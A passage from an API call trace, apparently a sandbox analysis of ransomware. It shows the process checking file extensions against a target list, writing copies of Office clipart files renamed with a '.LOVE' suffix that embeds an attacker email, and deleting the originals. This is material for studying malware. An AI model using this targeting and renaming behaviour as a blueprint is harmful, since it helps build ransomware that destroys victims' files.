(lpString1=".1cd", lpString2=".GIF") returned -1 [0207.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0207.007] lstrlenW (lpString=".jpg") returned 4 [0207.007] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0207.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0207.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0207.007] lstrlenW (lpString=".doc") returned 4 [0207.007] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0207.007] lstrlenW (lpString=".docx") returned 5 [0207.007] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0207.007] lstrlenW (lpString=".pdf") returned 4 [0207.007] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0207.007] lstrlenW (lpString=".xls") returned 4 [0207.007] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0207.007] lstrlenW (lpString=".xlsx") returned 5 [0207.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0207.007] lstrlenW (lpString=".ppt") returned 4 [0207.007] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0207.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0207.007] lstrlenW (lpString=".zip") returned 4 [0207.007] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0207.007] lstrlenW (lpString=".rar") returned 4 [0207.007] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0207.007] lstrlenW (lpString=".bz2") returned 4 [0207.007] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0207.007] lstrlenW (lpString=".7z") returned 3 [0207.007] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0207.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0207.007] lstrlenW (lpString=".dbf") returned 4 [0207.007] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0207.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0207.008] lstrlenW (lpString=".1cd") returned 4 [0207.008] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0207.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0207.008] lstrlenW (lpString=".jpg") returned 4 [0207.008] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0207.008] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0207.008] lstrlenW (lpString="AN00015_.WMF") returned 12 [0207.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0207.008] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=4734) returned 1 [0207.008] CloseHandle (hObject=0x2f0) returned 1 [0207.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0207.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0207.009] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.009] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0207.009] GetLastError () returned 0x0 [0207.009] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x127e, lpOverlapped=0x0) returned 1 [0207.043] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1280, lpOverlapped=0x0) returned 1 [0207.044] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.044] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.044] SetEndOfFile (hFile=0x330) returned 1 [0207.044] CloseHandle (hObject=0x330) returned 1 [0207.045] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.045] SetEndOfFile (hFile=0x2f0) returned 1 [0207.046] CloseHandle (hObject=0x2f0) returned 1 [0207.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0207.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0207.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0207.046] lstrlenW (lpString=".doc") returned 4 [0207.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.046] lstrlenW (lpString=".docx") returned 5 [0207.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.046] lstrlenW (lpString=".pdf") returned 4 [0207.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.047] lstrlenW (lpString=".xls") returned 4 [0207.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.047] lstrlenW (lpString=".xlsx") returned 5 [0207.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.047] lstrlenW (lpString=".ppt") returned 4 [0207.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0207.047] lstrlenW (lpString=".zip") returned 4 [0207.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.047] lstrlenW (lpString=".rar") returned 4 [0207.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.047] lstrlenW (lpString=".bz2") returned 4 [0207.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.047] lstrlenW (lpString=".7z") returned 3 [0207.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0207.047] lstrlenW (lpString=".dbf") returned 4 [0207.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0207.047] lstrlenW (lpString=".1cd") returned 4 [0207.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0207.047] lstrlenW (lpString=".jpg") returned 4 [0207.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0207.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0207.047] lstrlenW (lpString=".doc") returned 4 [0207.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.047] lstrlenW (lpString=".docx") returned 5 [0207.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.047] lstrlenW (lpString=".pdf") returned 4 [0207.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.047] lstrlenW (lpString=".xls") returned 4 [0207.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.047] lstrlenW (lpString=".xlsx") returned 5 [0207.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.048] lstrlenW (lpString=".ppt") returned 4 [0207.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0207.048] lstrlenW (lpString=".zip") returned 4 [0207.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.048] lstrlenW (lpString=".rar") returned 4 [0207.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.048] lstrlenW (lpString=".bz2") returned 4 [0207.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.048] lstrlenW (lpString=".7z") returned 3 [0207.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0207.048] lstrlenW (lpString=".dbf") returned 4 [0207.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0207.048] lstrlenW (lpString=".1cd") returned 4 [0207.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0207.048] lstrlenW (lpString=".jpg") returned 4 [0207.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.048] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0207.048] lstrlenW (lpString="AN00932_.WMF") returned 12 [0207.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0207.049] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=14428) returned 1 [0207.049] CloseHandle (hObject=0x2f0) returned 1 [0207.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0207.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0207.049] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.049] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0207.050] GetLastError () returned 0x0 [0207.050] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x385c, lpOverlapped=0x0) returned 1 [0207.078] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x3860, lpOverlapped=0x0) returned 1 [0207.079] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.079] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.079] SetEndOfFile (hFile=0x330) returned 1 [0207.079] CloseHandle (hObject=0x330) returned 1 [0207.080] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.080] SetEndOfFile (hFile=0x2f0) returned 1 [0207.080] CloseHandle (hObject=0x2f0) returned 1 [0207.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0207.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0207.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0207.081] lstrlenW (lpString=".doc") returned 4 [0207.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.081] lstrlenW (lpString=".docx") returned 5 [0207.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.081] lstrlenW (lpString=".pdf") returned 4 [0207.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.081] lstrlenW (lpString=".xls") returned 4 [0207.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.081] lstrlenW (lpString=".xlsx") returned 5 [0207.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.081] lstrlenW (lpString=".ppt") returned 4 [0207.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0207.081] lstrlenW (lpString=".zip") returned 4 [0207.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.082] lstrlenW (lpString=".rar") returned 4 [0207.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.082] lstrlenW (lpString=".bz2") returned 4 [0207.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.082] lstrlenW (lpString=".7z") returned 3 [0207.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0207.082] lstrlenW (lpString=".dbf") returned 4 [0207.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0207.082] lstrlenW (lpString=".1cd") returned 4 [0207.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0207.082] lstrlenW (lpString=".jpg") returned 4 [0207.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0207.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0207.082] lstrlenW (lpString=".doc") returned 4 [0207.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.082] lstrlenW (lpString=".docx") returned 5 [0207.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.082] lstrlenW (lpString=".pdf") returned 4 [0207.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.082] lstrlenW (lpString=".xls") returned 4 [0207.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.082] lstrlenW (lpString=".xlsx") returned 5 [0207.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.082] lstrlenW (lpString=".ppt") returned 4 [0207.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0207.082] lstrlenW (lpString=".zip") returned 4 [0207.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.082] lstrlenW (lpString=".rar") returned 4 [0207.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.083] lstrlenW (lpString=".bz2") returned 4 [0207.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.083] lstrlenW (lpString=".7z") returned 3 [0207.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0207.083] lstrlenW (lpString=".dbf") returned 4 [0207.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0207.083] lstrlenW (lpString=".1cd") returned 4 [0207.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0207.083] lstrlenW (lpString=".jpg") returned 4 [0207.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.083] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0207.083] lstrlenW (lpString="AN01039_.WMF") returned 12 [0207.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0207.083] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=3344) returned 1 [0207.083] CloseHandle (hObject=0x2f0) returned 1 [0207.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0207.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0207.084] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.084] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0207.084] GetLastError () returned 0x0 [0207.084] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xd10, lpOverlapped=0x0) returned 1 [0207.102] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xd20, lpOverlapped=0x0) returned 1 [0207.103] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.103] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.103] SetEndOfFile (hFile=0x330) returned 1 [0207.109] CloseHandle (hObject=0x330) returned 1 [0207.113] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.113] SetEndOfFile (hFile=0x2f0) returned 1 [0207.117] CloseHandle (hObject=0x2f0) returned 1 [0207.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0207.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0207.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0207.118] lstrlenW (lpString=".doc") returned 4 [0207.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.118] lstrlenW (lpString=".docx") returned 5 [0207.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.118] lstrlenW (lpString=".pdf") returned 4 [0207.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.118] lstrlenW (lpString=".xls") returned 4 [0207.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.118] lstrlenW (lpString=".xlsx") returned 5 [0207.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.118] lstrlenW (lpString=".ppt") returned 4 [0207.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0207.118] lstrlenW (lpString=".zip") returned 4 [0207.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.118] lstrlenW (lpString=".rar") returned 4 [0207.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.118] lstrlenW (lpString=".bz2") returned 4 [0207.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.118] lstrlenW (lpString=".7z") returned 3 [0207.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0207.118] lstrlenW (lpString=".dbf") returned 4 [0207.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0207.119] lstrlenW (lpString=".1cd") returned 4 [0207.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0207.119] lstrlenW 